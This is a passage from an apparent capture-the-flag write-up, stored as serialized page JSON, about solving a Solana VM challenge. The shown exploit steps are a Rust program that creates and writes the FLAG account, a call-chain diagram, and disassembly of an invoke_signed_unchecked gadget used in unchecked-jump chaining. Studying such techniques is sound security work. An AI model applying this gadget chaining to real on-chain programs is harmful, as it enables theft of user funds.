{:?}\"",{"type":23,"tag":75,"props":54194,"children":54195},{"style":94},[54196],{"type":29,"value":611},{"type":23,"tag":75,"props":54198,"children":54199},{"style":110},[54200],{"type":29,"value":53922},{"type":23,"tag":75,"props":54202,"children":54203},{"style":94},[54204],{"type":29,"value":1347},{"type":23,"tag":75,"props":54206,"children":54207},{"style":209},[54208],{"type":29,"value":1225},{"type":23,"tag":75,"props":54210,"children":54211},{"style":94},[54212],{"type":29,"value":245},{"type":23,"tag":75,"props":54214,"children":54215},{"class":77,"line":270},[54216,54220,54224],{"type":23,"tag":75,"props":54217,"children":54218},{"style":94},[54219],{"type":29,"value":6873},{"type":23,"tag":75,"props":54221,"children":54222},{"style":175},[54223],{"type":29,"value":6878},{"type":23,"tag":75,"props":54225,"children":54226},{"style":94},[54227],{"type":29,"value":401},{"type":23,"tag":75,"props":54229,"children":54230},{"class":77,"line":279},[54231,54235,54239,54243,54247,54252,54256,54260],{"type":23,"tag":75,"props":54232,"children":54233},{"style":88},[54234],{"type":29,"value":54175},{"type":23,"tag":75,"props":54236,"children":54237},{"style":94},[54238],{"type":29,"value":643},{"type":23,"tag":75,"props":54240,"children":54241},{"style":110},[54242],{"type":29,"value":53129},{"type":23,"tag":75,"props":54244,"children":54245},{"style":94},[54246],{"type":29,"value":611},{"type":23,"tag":75,"props":54248,"children":54249},{"style":1266},[54250],{"type":29,"value":54251},"\"flag not found, please contact admin\"",{"type":23,"tag":75,"props":54253,"children":54254},{"style":94},[54255],{"type":29,"value":1347},{"type":23,"tag":75,"props":54257,"children":54258},{"style":209},[54259],{"type":29,"value":1225},{"type":23,"tag":75,"props":54261,"children":54262},{"style":94},[54263],{"type":29,"value":245},{"type":23,"tag":75,"props":54265,"children":54266},{"class":77,"line":303},[54267],{"type":23,"tag":75,"props":54268,"children":54269},{"style":94},[54270],{"type":29,"value":2503},{"type":23,"tag":75,"props":54272,"children":54273},{"class":77,"line":322},[54274],{"type":23,"tag":75,"props":54275,"children":54276},{"style":94},[54277],{"type":29,"value":346},{"type":23,"tag":75,"props":54279,"children":54280},{"class":77,"line":340},[54281],{"type":23,"tag":75,"props":54282,"children":54283},{"style":94},[54284],{"type":29,"value":369},{"type":23,"tag":24,"props":54286,"children":54288},{"id":54287},"solution-idea",[54289],{"type":29,"value":54290},"Solution Idea",{"type":23,"tag":32,"props":54292,"children":54293},{},[54294,54296,54301],{"type":29,"value":54295},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":71,"props":54297,"children":54299},{"className":54298},[],[54300],{"type":29,"value":46876},{"type":29,"value":54302}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":32,"props":54304,"children":54305},{},[54306,54308,54314],{"type":29,"value":54307},"In order to get the flag, we need to make sure that the account at ",{"type":23,"tag":71,"props":54309,"children":54311},{"className":54310},[],[54312],{"type":29,"value":54313},"PDA(\"FLAG\")",{"type":29,"value":54315}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":32,"props":54317,"children":54318},{},[54319,54321,54328],{"type":29,"value":54320},"Essentially, we need to ",{"type":23,"tag":940,"props":54322,"children":54325},{"href":54323,"rel":54324},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[944],[54326],{"type":29,"value":54327},"invoke the System Program",{"type":29,"value":54329},", and write controlled data into the newly created account.",{"type":23,"tag":32,"props":54331,"children":54332},{},[54333],{"type":29,"value":54334},"A sample program that does this is as follows:",{"type":23,"tag":64,"props":54336,"children":54338},{"className":987,"code":54337,"language":986,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[54339],{"type":23,"tag":71,"props":54340,"children":54341},{"__ignoreMap":7},[54342,54362,54386,54414,54441,54461,54497,54533,54540,54548,54581,54598,54623,54644,54696,54721,54728,54741,54787,54831,54839,54847,54858,54874,54885,54905,54925,54932,54968,54983,54990,54998,55077,55084,55095],{"type":23,"tag":75,"props":54343,"children":54344},{"class":77,"line":78},[54345,54349,54353,54358],{"type":23,"tag":75,"props":54346,"children":54347},{"style":82},[54348],{"type":29,"value":24933},{"type":23,"tag":75,"props":54350,"children":54351},{"style":82},[54352],{"type":29,"value":24938},{"type":23,"tag":75,"props":54354,"children":54355},{"style":88},[54356],{"type":29,"value":54357}," process_instruction",{"type":23,"tag":75,"props":54359,"children":54360},{"style":94},[54361],{"type":29,"value":97},{"type":23,"tag":75,"props":54363,"children":54364},{"class":77,"line":100},[54365,54370,54374,54378,54382],{"type":23,"tag":75,"props":54366,"children":54367},{"style":110},[54368],{"type":29,"value":54369},"    program_id",{"type":23,"tag":75,"props":54371,"children":54372},{"style":209},[54373],{"type":29,"value":1018},{"type":23,"tag":75,"props":54375,"children":54376},{"style":209},[54377],{"type":29,"value":844},{"type":23,"tag":75,"props":54379,"children":54380},{"style":104},[54381],{"type":29,"value":32613},{"type":23,"tag":75,"props":54383,"children":54384},{"style":94},[54385],{"type":29,"value":118},{"type":23,"tag":75,"props":54387,"children":54388},{"class":77,"line":121},[54389,54394,54398,54402,54406,54410],{"type":23,"tag":75,"props":54390,"children":54391},{"style":110},[54392],{"type":29,"value":54393},"    accounts",{"type":23,"tag":75,"props":54395,"children":54396},{"style":209},[54397],{"type":29,"value":1018},{"type":23,"tag":75,"props":54399,"children":54400},{"style":209},[54401],{"type":29,"value":844},{"type":23,"tag":75,"props":54403,"children":54404},{"style":94},[54405],{"type":29,"value":814},{"type":23,"tag":75,"props":54407,"children":54408},{"style":104},[54409],{"type":29,"value":26171},{"type":23,"tag":75,"props":54411,"children":54412},{"style":94},[54413],{"type":29,"value":1144},{"type":23,"tag":75,"props":54415,"children":54416},{"class":77,"line":138},[54417,54421,54425,54429,54433,54437],{"type":23,"tag":75,"props":54418,"children":54419},{"style":110},[54420],{"type":29,"value":9476},{"type":23,"tag":75,"props":54422,"children":54423},{"style":209},[54424],{"type":29,"value":1018},{"type":23,"tag":75,"props":54426,"children":54427},{"style":209},[54428],{"type":29,"value":844},{"type":23,"tag":75,"props":54430,"children":54431},{"style":94},[54432],{"type":29,"value":814},{"type":23,"tag":75,"props":54434,"children":54435},{"style":104},[54436],{"type":29,"value":1139},{"type":23,"tag":75,"props":54438,"children":54439},{"style":94},[54440],{"type":29,"value":823},{"type":23,"tag":75,"props":54442,"children":54443},{"class":77,"line":161},[54444,54448,54452,54457],{"type":23,"tag":75,"props":54445,"children":54446},{"style":94},[54447],{"type":29,"value":167},{"type":23,"tag":75,"props":54449,"children":54450},{"style":209},[54451],{"type":29,"value":1156},{"type":23,"tag":75,"props":54453,"children":54454},{"style":104},[54455],{"type":29,"value":54456}," ProgramResult",{"type":23,"tag":75,"props":54458,"children":54459},{"style":94},[54460],{"type":29,"value":401},{"type":23,"tag":75,"props":54462,"children":54463},{"class":77,"line":196},[54464,54468,54473,54477,54481,54485,54489,54493],{"type":23,"tag":75,"props":54465,"children":54466},{"style":82},[54467],{"type":29,"value":1183},{"type":23,"tag":75,"props":54469,"children":54470},{"style":110},[54471],{"type":29,"value":54472}," flag_pda_ai",{"type":23,"tag":75,"props":54474,"children":54475},{"style":209},[54476],{"type":29,"value":1193},{"type":23,"tag":75,"props":54478,"children":54479},{"style":209},[54480],{"type":29,"value":844},{"type":23,"tag":75,"props":54482,"children":54483},{"style":110},[54484],{"type":29,"value":25911},{"type":23,"tag":75,"props":54486,"children":54487},{"style":94},[54488],{"type":29,"value":814},{"type":23,"tag":75,"props":54490,"children":54491},{"style":237},[54492],{"type":29,"value":648},{"type":23,"tag":75,"props":54494,"children":54495},{"style":94},[54496],{"type":29,"value":42769},{"type":23,"tag":75,"props":54498,"children":54499},{"class":77,"line":220},[54500,54504,54509,54513,54517,54521,54525,54529],{"type":23,"tag":75,"props":54501,"children":54502},{"style":82},[54503],{"type":29,"value":1183},{"type":23,"tag":75,"props":54505,"children":54506},{"style":110},[54507],{"type":29,"value":54508}," user_ai",{"type":23,"tag":75,"props":54510,"children":54511},{"style":209},[54512],{"type":29,"value":1193},{"type":23,"tag":75,"props":54514,"children":54515},{"style":209},[54516],{"type":29,"value":844},{"type":23,"tag":75,"props":54518,"children":54519},{"style":110},[54520],{"type":29,"value":25911},{"type":23,"tag":75,"props":54522,"children":54523},{"style":94},[54524],{"type":29,"value":814},{"type":23,"tag":75,"props":54526,"children":54527},{"style":237},[54528],{"type":29,"value":7867},{"type":23,"tag":75,"props":54530,"children":54531},{"style":94},[54532],{"type":29,"value":42769},{"type":23,"tag":75,"props":54534,"children":54535},{"class":77,"line":248},[54536],{"type":23,"tag":75,"props":54537,"children":54538},{"emptyLinePlaceholder":15},[54539],{"type":29,"value":276},{"type":23,"tag":75,"props":54541,"children":54542},{"class":77,"line":270},[54543],{"type":23,"tag":75,"props":54544,"children":54545},{"style":3621},[54546],{"type":29,"value":54547},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":75,"props":54549,"children":54550},{"class":77,"line":279},[54551,54555,54560,54564,54568,54572,54577],{"type":23,"tag":75,"props":54552,"children":54553},{"style":82},[54554],{"type":29,"value":1183},{"type":23,"tag":75,"props":54556,"children":54557},{"style":110},[54558],{"type":29,"value":54559}," instruction",{"type":23,"tag":75,"props":54561,"children":54562},{"style":209},[54563],{"type":29,"value":1193},{"type":23,"tag":75,"props":54565,"children":54566},{"style":104},[54567],{"type":29,"value":52202},{"type":23,"tag":75,"props":54569,"children":54570},{"style":209},[54571],{"type":29,"value":1407},{"type":23,"tag":75,"props":54573,"children":54574},{"style":88},[54575],{"type":29,"value":54576},"new_with_bincode",{"type":23,"tag":75,"props":54578,"children":54579},{"style":94},[54580],{"type":29,"value":97},{"type":23,"tag":75,"props":54582,"children":54583},{"class":77,"line":303},[54584,54589,54593],{"type":23,"tag":75,"props":54585,"children":54586},{"style":94},[54587],{"type":29,"value":54588},"        system_program",{"type":23,"tag":75,"props":54590,"children":54591},{"style":209},[54592],{"type":29,"value":1407},{"type":23,"tag":75,"props":54594,"children":54595},{"style":94},[54596],{"type":29,"value":54597},"ID,\n",{"type":23,"tag":75,"props":54599,"children":54600},{"class":77,"line":322},[54601,54605,54610,54614,54619],{"type":23,"tag":75,"props":54602,"children":54603},{"style":209},[54604],{"type":29,"value":14747},{"type":23,"tag":75,"props":54606,"children":54607},{"style":94},[54608],{"type":29,"value":54609},"SystemInstruction",{"type":23,"tag":75,"props":54611,"children":54612},{"style":209},[54613],{"type":29,"value":1407},{"type":23,"tag":75,"props":54615,"children":54616},{"style":104},[54617],{"type":29,"value":54618},"CreateAccount",{"type":23,"tag":75,"props":54620,"children":54621},{"style":94},[54622],{"type":29,"value":401},{"type":23,"tag":75,"props":54624,"children":54625},{"class":77,"line":340},[54626,54631,54635,54640],{"type":23,"tag":75,"props":54627,"children":54628},{"style":110},[54629],{"type":29,"value":54630},"            space",{"type":23,"tag":75,"props":54632,"children":54633},{"style":209},[54634],{"type":29,"value":1018},{"type":23,"tag":75,"props":54636,"children":54637},{"style":237},[54638],{"type":29,"value":54639}," 0x1337",{"type":23,"tag":75,"props":54641,"children":54642},{"style":94},[54643],{"type":29,"value":118},{"type":23,"tag":75,"props":54645,"children":54646},{"class":77,"line":349},[54647,54652,54656,54661,54665,54670,54674,54678,54683,54687,54692],{"type":23,"tag":75,"props":54648,"children":54649},{"style":110},[54650],{"type":29,"value":54651},"            lamports",{"type":23,"tag":75,"props":54653,"children":54654},{"style":209},[54655],{"type":29,"value":1018},{"type":23,"tag":75,"props":54657,"children":54658},{"style":94},[54659],{"type":29,"value":54660}," Rent",{"type":23,"tag":75,"props":54662,"children":54663},{"style":209},[54664],{"type":29,"value":1407},{"type":23,"tag":75,"props":54666,"children":54667},{"style":88},[54668],{"type":29,"value":54669},"default",{"type":23,"tag":75,"props":54671,"children":54672},{"style":94},[54673],{"type":29,"value":1417},{"type":23,"tag":75,"props":54675,"children":54676},{"style":209},[54677],{"type":29,"value":557},{"type":23,"tag":75,"props":54679,"children":54680},{"style":88},[54681],{"type":29,"value":54682},"minimum_balance",{"type":23,"tag":75,"props":54684,"children":54685},{"style":94},[54686],{"type":29,"value":643},{"type":23,"tag":75,"props":54688,"children":54689},{"style":237},[54690],{"type":29,"value":54691},"0x1337",{"type":23,"tag":75,"props":54693,"children":54694},{"style":94},[54695],{"type":29,"value":1792},{"type":23,"tag":75,"props":54697,"children":54698},{"class":77,"line":363},[54699,54704,54708,54712,54716],{"type":23,"tag":75,"props":54700,"children":54701},{"style":110},[54702],{"type":29,"value":54703},"            owner",{"type":23,"tag":75,"props":54705,"children":54706},{"style":209},[54707],{"type":29,"value":1018},{"type":23,"tag":75,"props":54709,"children":54710},{"style":94},[54711],{"type":29,"value":53233},{"type":23,"tag":75,"props":54713,"children":54714},{"style":209},[54715],{"type":29,"value":1407},{"type":23,"tag":75,"props":54717,"children":54718},{"style":94},[54719],{"type":29,"value":54720},"ID\n",{"type":23,"tag":75,"props":54722,"children":54723},{"class":77,"line":656},[54724],{"type":23,"tag":75,"props":54725,"children":54726},{"style":94},[54727],{"type":29,"value":36575},{"type":23,"tag":75,"props":54729,"children":54730},{"class":77,"line":705},[54731,54736],{"type":23,"tag":75,"props":54732,"children":54733},{"style":88},[54734],{"type":29,"value":54735},"        vec!",{"type":23,"tag":75,"props":54737,"children":54738},{"style":94},[54739],{"type":29,"value":54740},"[\n",{"type":23,"tag":75,"props":54742,"children":54743},{"class":77,"line":787},[54744,54749,54753,54757,54761,54765,54770,54774,54779,54783],{"type":23,"tag":75,"props":54745,"children":54746},{"style":94},[54747],{"type":29,"value":54748},"            AccountMeta",{"type":23,"tag":75,"props":54750,"children":54751},{"style":209},[54752],{"type":29,"value":1407},{"type":23,"tag":75,"props":54754,"children":54755},{"style":88},[54756],{"type":29,"value":26353},{"type":23,"tag":75,"props":54758,"children":54759},{"style":94},[54760],{"type":29,"value":643},{"type":23,"tag":75,"props":54762,"children":54763},{"style":209},[54764],{"type":29,"value":601},{"type":23,"tag":75,"props":54766,"children":54767},{"style":110},[54768],{"type":29,"value":54769},"user_ai",{"type":23,"tag":75,"props":54771,"children":54772},{"style":209},[54773],{"type":29,"value":557},{"type":23,"tag":75,"props":54775,"children":54776},{"style":94},[54777],{"type":29,"value":54778},"key, ",{"type":23,"tag":75,"props":54780,"children":54781},{"style":82},[54782],{"type":29,"value":15268},{"type":23,"tag":75,"props":54784,"children":54785},{"style":94},[54786],{"type":29,"value":1792},{"type":23,"tag":75,"props":54788,"children":54789},{"class":77,"line":826},[54790,54794,54798,54802,54806,54810,54815,54819,54823,54827],{"type":23,"tag":75,"props":54791,"children":54792},{"style":94},[54793],{"type":29,"value":54748},{"type":23,"tag":75,"props":54795,"children":54796},{"style":209},[54797],{"type":29,"value":1407},{"type":23,"tag":75,"props":54799,"children":54800},{"style":88},[54801],{"type":29,"value":26353},{"type":23,"tag":75,"props":54803,"children":54804},{"style":94},[54805],{"type":29,"value":643},{"type":23,"tag":75,"props":54807,"children":54808},{"style":209},[54809],{"type":29,"value":601},{"type":23,"tag":75,"props":54811,"children":54812},{"style":110},[54813],{"type":29,"value":54814},"flag_pda_ai",{"type":23,"tag":75,"props":54816,"children":54817},{"style":209},[54818],{"type":29,"value":557},{"type":23,"tag":75,"props":54820,"children":54821},{"style":94},[54822],{"type":29,"value":54778},{"type":23,"tag":75,"props":54824,"children":54825},{"style":82},[54826],{"type":29,"value":15268},{"type":23,"tag":75,"props":54828,"children":54829},{"style":94},[54830],{"type":29,"value":1792},{"type":23,"tag":75,"props":54832,"children":54833},{"class":77,"line":834},[54834],{"type":23,"tag":75,"props":54835,"children":54836},{"style":94},[54837],{"type":29,"value":54838},"        ],\n",{"type":23,"tag":75,"props":54840,"children":54841},{"class":77,"line":881},[54842],{"type":23,"tag":75,"props":54843,"children":54844},{"style":94},[54845],{"type":29,"value":54846},"    );\n",{"type":23,"tag":75,"props":54848,"children":54849},{"class":77,"line":3355},[54850,54854],{"type":23,"tag":75,"props":54851,"children":54852},{"style":88},[54853],{"type":29,"value":52319},{"type":23,"tag":75,"props":54855,"children":54856},{"style":94},[54857],{"type":29,"value":97},{"type":23,"tag":75,"props":54859,"children":54860},{"class":77,"line":3390},[54861,54865,54870],{"type":23,"tag":75,"props":54862,"children":54863},{"style":209},[54864],{"type":29,"value":14747},{"type":23,"tag":75,"props":54866,"children":54867},{"style":110},[54868],{"type":29,"value":54869},"instruction",{"type":23,"tag":75,"props":54871,"children":54872},{"style":94},[54873],{"type":29,"value":118},{"type":23,"tag":75,"props":54875,"children":54876},{"class":77,"line":3423},[54877,54881],{"type":23,"tag":75,"props":54878,"children":54879},{"style":209},[54880],{"type":29,"value":14747},{"type":23,"tag":75,"props":54882,"children":54883},{"style":94},[54884],{"type":29,"value":54740},{"type":23,"tag":75,"props":54886,"children":54887},{"class":77,"line":3436},[54888,54893,54897,54901],{"type":23,"tag":75,"props":54889,"children":54890},{"style":110},[54891],{"type":29,"value":54892},"            user_ai",{"type":23,"tag":75,"props":54894,"children":54895},{"style":209},[54896],{"type":29,"value":557},{"type":23,"tag":75,"props":54898,"children":54899},{"style":88},[54900],{"type":29,"value":26648},{"type":23,"tag":75,"props":54902,"children":54903},{"style":94},[54904],{"type":29,"value":2580},{"type":23,"tag":75,"props":54906,"children":54907},{"class":77,"line":3449},[54908,54913,54917,54921],{"type":23,"tag":75,"props":54909,"children":54910},{"style":110},[54911],{"type":29,"value":54912},"            flag_pda_ai",{"type":23,"tag":75,"props":54914,"children":54915},{"style":209},[54916],{"type":29,"value":557},{"type":23,"tag":75,"props":54918,"children":54919},{"style":88},[54920],{"type":29,"value":26648},{"type":23,"tag":75,"props":54922,"children":54923},{"style":94},[54924],{"type":29,"value":2580},{"type":23,"tag":75,"props":54926,"children":54927},{"class":77,"line":3457},[54928],{"type":23,"tag":75,"props":54929,"children":54930},{"style":94},[54931],{"type":29,"value":54838},{"type":23,"tag":75,"props":54933,"children":54934},{"class":77,"line":3465},[54935,54939,54943,54947,54951,54955,54959,54963],{"type":23,"tag":75,"props":54936,"children":54937},{"style":209},[54938],{"type":29,"value":14747},{"type":23,"tag":75,"props":54940,"children":54941},{"style":94},[54942],{"type":29,"value":814},{"type":23,"tag":75,"props":54944,"children":54945},{"style":209},[54946],{"type":29,"value":1277},{"type":23,"tag":75,"props":54948,"children":54949},{"style":94},[54950],{"type":29,"value":814},{"type":23,"tag":75,"props":54952,"children":54953},{"style":1266},[54954],{"type":29,"value":53813},{"type":23,"tag":75,"props":54956,"children":54957},{"style":209},[54958],{"type":29,"value":557},{"type":23,"tag":75,"props":54960,"children":54961},{"style":88},[54962],{"type":29,"value":53822},{"type":23,"tag":75,"props":54964,"children":54965},{"style":94},[54966],{"type":29,"value":54967},"()]],\n",{"type":23,"tag":75,"props":54969,"children":54970},{"class":77,"line":3473},[54971,54975,54979],{"type":23,"tag":75,"props":54972,"children":54973},{"style":94},[54974],{"type":29,"value":14930},{"type":23,"tag":75,"props":54976,"children":54977},{"style":209},[54978],{"type":29,"value":1225},{"type":23,"tag":75,"props":54980,"children":54981},{"style":94},[54982],{"type":29,"value":245},{"type":23,"tag":75,"props":54984,"children":54985},{"class":77,"line":3481},[54986],{"type":23,"tag":75,"props":54987,"children":54988},{"emptyLinePlaceholder":15},[54989],{"type":29,"value":276},{"type":23,"tag":75,"props":54991,"children":54992},{"class":77,"line":3524},[54993],{"type":23,"tag":75,"props":54994,"children":54995},{"style":3621},[54996],{"type":29,"value":54997},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":75,"props":54999,"children":55000},{"class":77,"line":4890},[55001,55006,55010,55014,55018,55022,55026,55030,55034,55038,55042,55047,55051,55055,55060,55064,55068,55073],{"type":23,"tag":75,"props":55002,"children":55003},{"style":110},[55004],{"type":29,"value":55005},"    flag_pda_ai",{"type":23,"tag":75,"props":55007,"children":55008},{"style":209},[55009],{"type":29,"value":557},{"type":23,"tag":75,"props":55011,"children":55012},{"style":88},[55013],{"type":29,"value":25116},{"type":23,"tag":75,"props":55015,"children":55016},{"style":94},[55017],{"type":29,"value":1417},{"type":23,"tag":75,"props":55019,"children":55020},{"style":209},[55021],{"type":29,"value":1225},{"type":23,"tag":75,"props":55023,"children":55024},{"style":94},[55025],{"type":29,"value":814},{"type":23,"tag":75,"props":55027,"children":55028},{"style":209},[55029],{"type":29,"value":14339},{"type":23,"tag":75,"props":55031,"children":55032},{"style":237},[55033],{"type":29,"value":15349},{"type":23,"tag":75,"props":55035,"children":55036},{"style":94},[55037],{"type":29,"value":1610},{"type":23,"tag":75,"props":55039,"children":55040},{"style":209},[55041],{"type":29,"value":557},{"type":23,"tag":75,"props":55043,"children":55044},{"style":88},[55045],{"type":29,"value":55046},"copy_from_slice",{"type":23,"tag":75,"props":55048,"children":55049},{"style":94},[55050],{"type":29,"value":643},{"type":23,"tag":75,"props":55052,"children":55053},{"style":209},[55054],{"type":29,"value":1277},{"type":23,"tag":75,"props":55056,"children":55057},{"style":237},[55058],{"type":29,"value":55059},"0x4337",{"type":23,"tag":75,"props":55061,"children":55062},{"style":104},[55063],{"type":29,"value":19301},{"type":23,"tag":75,"props":55065,"children":55066},{"style":209},[55067],{"type":29,"value":557},{"type":23,"tag":75,"props":55069,"children":55070},{"style":88},[55071],{"type":29,"value":55072},"to_le_bytes",{"type":23,"tag":75,"props":55074,"children":55075},{"style":94},[55076],{"type":29,"value":1430},{"type":23,"tag":75,"props":55078,"children":55079},{"class":77,"line":4937},[55080],{"type":23,"tag":75,"props":55081,"children":55082},{"emptyLinePlaceholder":15},[55083],{"type":29,"value":276},{"type":23,"tag":75,"props":55085,"children":55086},{"class":77,"line":4950},[55087,55091],{"type":23,"tag":75,"props":55088,"children":55089},{"style":104},[55090],{"type":29,"value":1504},{"type":23,"tag":75,"props":55092,"children":55093},{"style":94},[55094],{"type":29,"value":25574},{"type":23,"tag":75,"props":55096,"children":55097},{"class":77,"line":4958},[55098],{"type":23,"tag":75,"props":55099,"children":55100},{"style":94},[55101],{"type":29,"value":369},{"type":23,"tag":32,"props":55103,"children":55104},{},[55105],{"type":29,"value":55106},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":32,"props":55108,"children":55109},{},[55110],{"type":23,"tag":15189,"props":55111,"children":55114},{"alt":55112,"src":55113},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":32,"props":55116,"children":55117},{},[55118],{"type":29,"value":55119},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":24,"props":55121,"children":55123},{"id":55122},"solution-implementation",[55124],{"type":29,"value":55125},"Solution Implementation",{"type":23,"tag":32,"props":55127,"children":55128},{},[55129,55131,55136],{"type":29,"value":55130},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":71,"props":55132,"children":55134},{"className":55133},[],[55135],{"type":29,"value":46876},{"type":29,"value":55137}," invocations:",{"type":23,"tag":64,"props":55139,"children":55143},{"className":55140,"code":55141,"language":55142,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[55144],{"type":23,"tag":71,"props":55145,"children":55146},{"__ignoreMap":7},[55147,55155,55163,55171,55179,55187,55195],{"type":23,"tag":75,"props":55148,"children":55149},{"class":77,"line":78},[55150],{"type":23,"tag":75,"props":55151,"children":55152},{},[55153],{"type":29,"value":55154},"graph LR\n",{"type":23,"tag":75,"props":55156,"children":55157},{"class":77,"line":100},[55158],{"type":23,"tag":75,"props":55159,"children":55160},{},[55161],{"type":29,"value":55162},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":75,"props":55164,"children":55165},{"class":77,"line":121},[55166],{"type":23,"tag":75,"props":55167,"children":55168},{},[55169],{"type":29,"value":55170},"    B --> C[2: process]\n",{"type":23,"tag":75,"props":55172,"children":55173},{"class":77,"line":138},[55174],{"type":23,"tag":75,"props":55175,"children":55176},{},[55177],{"type":29,"value":55178},"    C --> D[3: gadget1]\n",{"type":23,"tag":75,"props":55180,"children":55181},{"class":77,"line":161},[55182],{"type":23,"tag":75,"props":55183,"children":55184},{},[55185],{"type":29,"value":55186},"    C --> E[3: process]\n",{"type":23,"tag":75,"props":55188,"children":55189},{"class":77,"line":196},[55190],{"type":23,"tag":75,"props":55191,"children":55192},{},[55193],{"type":29,"value":55194},"    E --> F[4: gadget2]\n",{"type":23,"tag":75,"props":55196,"children":55197},{"class":77,"line":220},[55198],{"type":23,"tag":75,"props":55199,"children":55200},{},[55201],{"type":29,"value":55202},"    E --> G[...]\n",{"type":23,"tag":32,"props":55204,"children":55205},{},[55206],{"type":29,"value":55207},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":32,"props":55209,"children":55210},{},[55211,55213,55219],{"type":29,"value":55212},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":940,"props":55214,"children":55216},{"href":51677,"rel":55215},[944],[55217],{"type":29,"value":55218},"Binary Ninja",{"type":29,"value":55220}," to find a suitable gadget for this.",{"type":23,"tag":32,"props":55222,"children":55223},{},[55224,55226,55233],{"type":29,"value":55225},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":940,"props":55227,"children":55230},{"href":55228,"rel":55229},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[944],[55231],{"type":29,"value":55232},"skip the strip pass",{"type":29,"value":557},{"type":23,"tag":923,"props":55235,"children":55237},{"id":55236},"cpi-gadget",[55238],{"type":29,"value":55239},"CPI Gadget",{"type":23,"tag":32,"props":55241,"children":55242},{},[55243,55245,55250,55252,55259,55261,55267],{"type":29,"value":55244},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":71,"props":55246,"children":55248},{"className":55247},[],[55249],{"type":29,"value":49487},{"type":29,"value":55251}," function. This function calls into the solana sdk's function ",{"type":23,"tag":940,"props":55253,"children":55256},{"href":55254,"rel":55255},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[944],[55257],{"type":29,"value":55258},"invoke_signed_unchecked",{"type":29,"value":55260},", yielding a powerful gadget at the address ",{"type":23,"tag":71,"props":55262,"children":55264},{"className":55263},[],[55265],{"type":29,"value":55266},"0x100001ba8",{"type":29,"value":557},{"type":23,"tag":64,"props":55269,"children":55271},{"className":987,"code":55270,"language":986,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit 